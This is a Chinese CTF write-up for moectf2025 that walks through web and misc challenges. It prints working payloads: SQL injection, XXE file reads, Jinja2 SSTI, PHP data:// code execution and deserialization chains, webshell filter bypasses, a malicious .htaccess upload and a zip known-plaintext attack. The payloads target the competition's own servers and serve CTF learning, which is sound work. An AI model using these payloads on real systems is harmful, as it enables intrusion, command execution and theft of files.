moectf2025
这是我见过的最新手友好的比赛了,题目比较多,大部分也比较套路
web
0
直接放到浏览器的控制台里

第一章
直接查看页面源码,找到一个jsp文件,里面直接就有flag
第二章
查看页面源码发现了一个/golden_trail路径,GET请求发送它说路径不正,根据它的提示,用HEAD请求,拿到flag。

第三章
根据提示修改level和manifestation的值得到flag

注意这里返回了一个小说解压缩密码

cBrtGRQSKeLvty0@lKyFpU@Z
发现可以解压一个03.zip,看到里面的小说。
第四章
第一关

bW9lY3Rme0Mw
第二关

bjZyNDd1MTQ3
第三关
本地访问:X-Forwarded-For:127.0.0.1

MTBuNV95MHVy
第四关
X2g3N1BfbDN2
第五关

M2xfMTVfcjM0
第六关

bGx5X2gxOWgh
第五章
../ 返回上层目录找到flag

第六章
sql注入
输入1'or'1'='1

Moe笑传之猜猜爆
这里看到页面的js文件中随机生成的随机数randomNumber,判断用户输入数字是否等于它,如果等于则从后端传回flag。

直接控制台输入randomNumber,返回它的值,再输入就行了。

第七关

fQ==
集合起来进行base64解密

第七章
从规定爬虫不允许扫描的文件推出要访问robots.txt


md5碰撞
第八章 天衍真言,星图显圣
省流:sql注入

获取列数

说明查询列数为2,且第一列是可见的
获取数据库名

获取表名
1' UNION SELECT table_name, 1 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1-- -
获取列名
1' UNION SELECT column_name, 1 FROM information_schema.columns WHERE table_schema=database() AND table_name='flag' LIMIT 0,1-- -
获取值
1' UNION SELECT value, 1 FROM flag-- -
第九章
存在命令注入漏洞

找到flag
第十章
提示flag在flag.txt中,直接抓包访问/flag.txt
第十章 天机符阵_revenge
一句话总结:简单的xxe
随便输入,它会显示类似于这样的输出

DOMDocument::loadXML()- 后端使用XML解析器Start tag expected, '<' not found- 期望XML格式但输入不是有效的XML
说明它期望我们输入的是xml格式的代码,再加上题目中提示的flag.txt
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<contract>
<解析>&xxe;</解析>
</contract>
11 第十一章 千机变·破妄之眼
首先这里提示GET 参数名由m,n,o,p,q这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值才能进入。
那么就是脚本爆破,找到长度不一样的响应体返回
import requests
from itertools import permutations
import time
# 基础URL - 请替换为实际的题目URL
BASE_URL = "http://127.0.0.1:58578/" # 替换成实际地址
# 所有可能的参数名排列
letters = ['m', 'n', 'o', 'p', 'q']
all_permutations = [''.join(p) for p in permutations(letters)]
print(f"共有 {len(all_permutations)} 种可能的参数名排列")
print("开始爆破...\n")
# 目标响应长度
TARGET_LENGTH = 19704
found = False
for i, param_name in enumerate(all_permutations, 1):
# 构造URL:参数名=参数值
params = {param_name: param_name}
try:
response = requests.get(BASE_URL, params=params, timeout=5)
# 打印进度
print(f"尝试 {i:3d}/120: {param_name} - 状态码: {response.status_code}")
# 检查响应长度是否为目标长度
if len(response.text) == TARGET_LENGTH:
print("\n" + "=" * 50)
print(f"找到目标!响应长度为 {TARGET_LENGTH}")
print(f"成功的URL: {response.url}")
print("-" * 30)
print("响应体内容:")
print(response.text)
print("=" * 50)
found = True
break # 找到后立即退出循环
# 避免请求过快被屏蔽
time.sleep(0.1)
except requests.RequestException as e:
print(f"尝试 {i:3d}/120: {param_name} - 请求错误: {e}")
print("\n爆破完成!")
if not found:
print(f"未找到响应长度为 {TARGET_LENGTH} 的请求。")
发现一个find.php,发现在里面可以访问任意路径,
访问./flag时显示(flag就在这了,看不到吗,是老弟境界不够吧)
那么就是php://filter/convert.base64-encode/resource=./flag.php
因为此文件是一个php文件,解释器会自动执行它,所以返回的并不是一个源文件,而是一个执行结果,所以我们如果要看到php文件的源码就需要php://filter/convert.base64-encode/resource=读取文件之后进行编码再交给php解释器,这样我们解码之后就能看到完整的源码了。

第十二章
蚁剑一句话木马连接

摸金偶遇FLAG,拼尽全力难战胜
题目是在三秒内破解9位数的摩斯密码,手算当然是不可能的,要写脚本
(() => {
const TICK = 120; // 点数字间隔
/* 1. 劫持 fetch(/get_challenge) */
const _fetch = window.fetch;
window.fetch = function (...args) {
return _fetch.apply(this, args).then(resp => {
const url = String(args[0]);
if (url.includes('/get_challenge')) {
resp.clone().json().then(d => {
if (d.numbers?.length === 9) {
console.log('[+] 拿到 numbers:', d.numbers.join(''));
autoClick(d.numbers);
}
});
}
return resp;
});
};
function autoClick(arr) {
let i = 0;
const next = () => {
if (i === 9) { console.log('[+] 数字点击完成'); return; }
const btn = [...document.querySelectorAll('.inputContentBtnAreaItem')]
.find(b => b.dataset.value == arr[i]);
if (btn) btn.click();
i++;
setTimeout(next, TICK);
};
next();
}
console.log('[+] 劫持已注入,点“开始挑战”即可');
})();ai写的脚本,直接放进控制台就行了,再按开始按钮,这里注意要把浏览器的隐私端口关掉,不然会把verify的请求拦截。

第十三章
嗯,文件上传题

这都已经把限制写出来了。
开始翻笔记,试图唤醒沉睡的记忆
先上传一个正常的jpg文件,拦截之后修改,把它的hex头留下来(绕过FFD8FF),这道题有没有jpg后缀都无所谓(x.php也能行),主要是好像不能一句话木马连接,只能phpinfo显示它的php环境的完整配置,再在里面ctr+f搜索flag


第十四章 御神关·补天玉碑
一句话总结:又是一道文件上传,这次的重点在于.htaccess文件
简单介绍一下.htaccess是(Apache服务器的目录级配置文件,可以覆盖主服务器的配置,常用于URL重写、访问控制、MIME类型设置等),常见组合就是

好了,看题目


常规先上传一个带着恶意命令的jpg文件

上传一个.htaccess文件,这里的作用主要是讲1.jpg当作php执行,这样就会执行其中的php恶意代码

第十六章
首先看一下它给的源码

这里看到它把flag发到了一个随机命名的flag-*.txt格式的文件中
结合index页面中的会在后面自动加上.php,所以这里优先使用
data://包装器执行代码的方法
查看根目录
/?file=data://text/plain,<?php system('ls -la /');?>
flag-2YWYwq1fmJgQGsfbdrGP04jsBleqfq.txt
读取此文件
/?file=data://text/plain,<?php echo file_get_contents('/flag-2YWYwq1fmJgQGsfbdrGP04jsBleqfq.txt');?>第十七章
php反序列化,原理在于__destruct 这个魔术方法会在对象被销毁时自动调用
我们可以像这样先对php进行序列化,让其在反序列的时候执行我们需要的恶意代码。

先ls /,查看当前目录

发现一个flag文件,cat /flag打开

18 第十八章 万卷诡阁·功法连环
一句话总结:简单的php反序列化



私有属性在序列化时包含空字节%00,这些字符在URL中需要编码,否则会被错误解析。
19 第十九章 星穹真相·补天归源
稍微复杂一点的php反序列化

PersonC中的$name($age)是一个很好的代码执行点,所以我们要在此构造system("cat /flag")
简单写一下

因为$this->age和$age没啥关系,所以这里只要$this->name里没有“flag”就行了
19 第十九章_revenge
省流:更加复杂的php反序列化
<?php
// 定义与目标应用同名的空类(仅为生成同名序列化对象)
class Person
{
public $name;
public $id;
public $age;
}
class PersonA extends Person {}
class PersonB extends Person {}
class PersonC extends Person {}
// 构造链
$a = new PersonA();
$a->name = null; // 在 PersonB->__invoke 时会被改写为 PersonC 实例
$a->id = "check"; // PersonA->__destruct 会调用 PersonC->check(...)
$a->age = "cat /flag"; // 要执行的命令(会被传给 check)
$b = new PersonB();
$b->id = $a; // PersonB->id 指向 PersonA
$b->name = "'../flag.php'"; // 在 __invoke 中会被写入 PersonA->age(冗余但保持链一致)
$b->age = null;
$c = new PersonC();
$c->id = $b; // 触发 __wakeup 时会调用 $b($this) -> PersonB::__invoke
$c->name = "file_get_contents"; // PersonC::check 中会调用这个可调用名 -> passthru("cat /flag")
$c->age = null;
// 生成 payload
$payload = serialize($c);
echo "=== urlencoded ===\n";
echo urlencode($payload) . "\n\n";
这个payload是跑得通的,再把相应的命令换一下找到flag,这里的flag在环境信息里,比如下面的
shell_exec -> /bin/cat /proc/self/environ | tr "\0" "\n" | head -n 50 ====
读取和显示服务器环境信息的
20 第二十章 幽冥血海·幻语心魔
一句话总结:SSTI,服务端模板注入
它给了一个php文件
from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')
if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎: {username}</div></div>
</div>
""")
else:
login_msg = ""
return render_template("index.html", login_msg=login_msg)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
这里的代码直接将用户输入的 username 通过 f-string 插入到模板字符串中,然后使用 render_template_string() 渲染。
所以直接在username中读取文件
?username={{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['open']('/flag').read()}}&password=test
//外层是 Jinja2 模板语法,内层是 Python 对象操作语法。
这下面就是赛后复现的了
15 第十五章 归真关·竞时净魔
感觉是文件上传+条件竞争题
但是我上传+访问,访问的时候有时候显示的是200,但是里面的内容仍然是报错的。
这是...Webshell?
可如此访问文件,但找不到flag
?shell=?><?=`/???/??? /????/????/???????.???`?>
在这篇文章中提到可以用异或的方式绕过php正则表达式的一些限制。
https://marmalade.vip/minglingzhixingphpzhengzeraoguo.htm
文章中的${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo即为${_GET}{%ff}();&%ff=phpinfo,即?shell=${_GET}{%ff}();&%ff=phpinfo
原理式${_GET}{%ff} 会被当成一个字符串,通过对 %ff 赋值,即可变成 phpinfo ,加上括号即可调用。
所以这里我们直接传入${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo得到flag

这是...Webshell?_revenge
这篇文章里总结得挺全面的https://forum.butian.net/share/1048
这里文件会被存储到 /tmp/phpXXXXXX 。可以通过 /???/????????[@-[] 来匹配最后一个字符是大写的文件
?><?= `. /???/????????[@-[]`?>POST /?shell=?%3E%3C?=%20`.%20/???/????????[@-[]`?%3E HTTP/1.1
Host: 127.0.0.1:34892
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 116
----------123
Content-Disposition:form-data;name="file";filename="1.txt"
#!/bin/sh
cat /flag
----------123--
misc
misc入门指北
全选文档找到一个设置成白色的字,复制出来就是flag
2048_master
打开是一个exe文件,它说合成16348有惊喜。
用Cheat Engine把方块里的值改掉。跳出flag

Rush
用stegsolve工具查看每一帧,发现一个不全的二维码

用ps工具补全左上角定位符,就可以扫出来了

捂住一只耳

很明显的摩斯密码

ez_LSB
附件里是一个图片由于提示了像素的问题,怀疑是LSB
zsteg -a x.png
对整张 PNG 图片进行 所有已知方式的 LSB(最低有效位)隐写扫描,并输出所有可能藏有信息的地方。

base64解码得到flag
Pyjail 0
它这里说至于 flag 的位置?你可以参考 Web 第十二章(,我们f从第十二章知道flag不在具体的文件里而是在环境变量里,所以是在linux当前的环境变量文件里,也就是
/proc/self/environ
ez_锟斤拷????
锟斤拷 加密,可以找个在线网站直接解密
此编码产生的原因是将GBK和UTF-8编码混用了,所以将UTF-8格式的文件改成GBK格式就行。

weird_photo
说注意CRC,一眼crc宽高爆破

把宽高改高一点

encrypted_pdf
发现一个被加密的pdf,ilovepdf就有pdf解密的功能,放到里面解密

查看文件,发现一串很可以的字符

找到flag

Pyjail 1
这里给出了它的执行代码
def chall():
user_input = input("Give me your code: ")
# 过滤关键字
forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
for keyword in forbidden_keywords:
if keyword in user_input:
print(f"Forbidden keyword detected: {keyword}")
return
result = eval(user_input)但是我们仍然可以通过拼接等方式绕过黑名单。

SSTV
https://blog.csdn.net/orchid_sea/article/details/138075312

Enchantment
关于流量分析相关指令的文档https://www.freebuf.com/articles/others-articles/441868.html
在流量包中发现这里上传了一个png文件

将此对象转储之后,得到此图片


moectf{now_you_have_mastered_enchanting}
ez_ssl
题目说上传了一个 文件那就找找upload字段


这是一个TLS加密参数的文件,将此log文件导出后保存
配置首选项,再次查找flag发现上传了一个flag.zip文件

用binwalk 将flag.zip分离出来
binwalk -e aa.zip --run-as=root发现是一个带密码的zip文件,里面有一个flag.txt
将之前上传的flag.zip的流量转为utf-8查看,发现末尾有提示为7位纯数字

这里直接爆破

flag.txt打开是一个OOK加密的文件,解密得到flag

万里挑一
一句话总结:zip字典爆破+zip已知明文攻击
给了很多的文件和口令用脚本把口令跑出来放进txt里面,然后用字典进行爆破

得到密钥:a296a5ec1385f394e8cb
注意到有个 明文.exe 应该是提示明文攻击。明文攻击需要知道加密文件的连续的至少12字节,且加密方法需要是ZipCrypto,
而exe文件的DOS头除了最后的4个字节都是一样的。于是就可以提取出来作为明文

echo -n "0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000" | xxd -r -ps > mingwen
./bkcrack -C flag.zip -c 明文.exe -p mingwen -o 64
./bkcrack -C flag.zip -c flag.txt -k eec878a3 6808e48f 3aa41bd8 -d flag.txt


bkcrack常用参数:
-c 提取的密文部分
-p 提取的明文部分
-x 压缩包内目标文件的偏移地址 部分已知明文值
-C 加密压缩包
-o offset -p参数指定的明文在压缩包内目标文件的偏移量
具体参考这篇文章:https://www.freebuf.com/articles/network/255145.html
WebRepo
得到一个二维码,扫描之后得到binwalk的提示,用binwalk扫一下,发现是一个zip文件,再发现是一个.git文件
一键还原 flag.txt 到最近一次提交的状态
git log -- flag.txt
git restore --source=HEAD --staged --worktree -- flag.txt 
得到flag文件打开得到flag
哈基米难没露躲
翻译网站:https://lhlnb.top/hajimi/base64


Encrypted volume
一个rar文件打开之后得到两个文件

但是一个文件是0KB,打开之后也是空的,那为什么有这个文件呢,答案就在rar的hex码里。

这里看到在something_hide_here的后面有一个key.png,这说明这个rar文件里面隐藏了一个png文件,
用kali中的binwalk工具分离出图片


发现一个二维码,用QR扫描

得到:@(s<"A3F:89x541Ux[<
然后发现解压出来的volume是常见的加密卷文件,那么这个应该就是它的密钥
这里可以用VeraCrypthttps://veracrypt.io/zh-cn/Home.html,VeraCrypt 是一款免费、开源、跨平台的磁盘加密软件,它采用可否认的加密方式,这种加密的特点是不会留任何文件头,也就是说,在特殊情况下,你甚至可以否认这是一个加密卷
下载好之后看到如下界面

选择一个盘比如z盘,之后点击加载之后在密码框输入密钥,之后就得到一个txt文件,将其中的内容放到随波逐流里面解密,发现它是BrainFuck方式的加密,得到flag
